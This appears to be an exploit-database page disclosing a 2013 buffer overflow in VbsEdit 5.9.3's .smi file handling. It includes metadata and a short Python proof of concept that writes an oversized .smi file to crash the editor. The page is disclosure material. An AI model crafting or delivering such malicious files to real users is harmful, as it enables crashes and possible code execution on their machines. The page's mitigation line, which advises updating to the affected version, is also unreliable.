header-logo
Suggest Exploit
vendor:
VbsEdit
by:
d3b4g
9,3
CVSS
HIGH
Buffer Overflow
119
CWE
Product Name: VbsEdit
Affected Version From: 5.9.3
Affected Version To: 5.9.3
Patch Exists: Yes
Related CWE: N/A
CPE: a:vbsedit:vbsedit:5.9.3
Metasploit: N/A
Other Scripts: N/A
Tags: N/A
CVSS Metrics: N/A
Nuclei References: N/A
Nuclei Metadata: N/A
Platforms Tested: Windows XP SP3
2013

VbsEdit 5.9.3(.smi file handling) Buffer overflow vulnerability

VbsEdit 5.9.3 is vulnerable to a buffer overflow vulnerability when handling .smi files. An attacker can craft a malicious .smi file with a large amount of data, which when opened in VbsEdit 5.9.3, will cause a buffer overflow and potentially allow for arbitrary code execution.

Mitigation:

Update to the latest version of VbsEdit 5.9.3 or later.
Source

Exploit-DB raw data:

# Exploit Title: VbsEdit 5.9.3(.smi file handling) Buffer overflow vulnerability
# Date: 22.7.2013
# Exploit Author: d3b4g
# Vendor Homepage:http://www.vbsedit.com/
# Software Link: http://www.vbsedit.com/
# Tested on: Windows XP SP3
# Twitter: @schaba



#!/usr/bin/python
# Tested on: win XPsp3
chars = "A"*90000
crush = "\x41\x41\x41\x41"
file=open('exp.smi','w')
file.write(chars+crush+chars)
file.close()

Navigation

Suggest Exploit

Services By CQR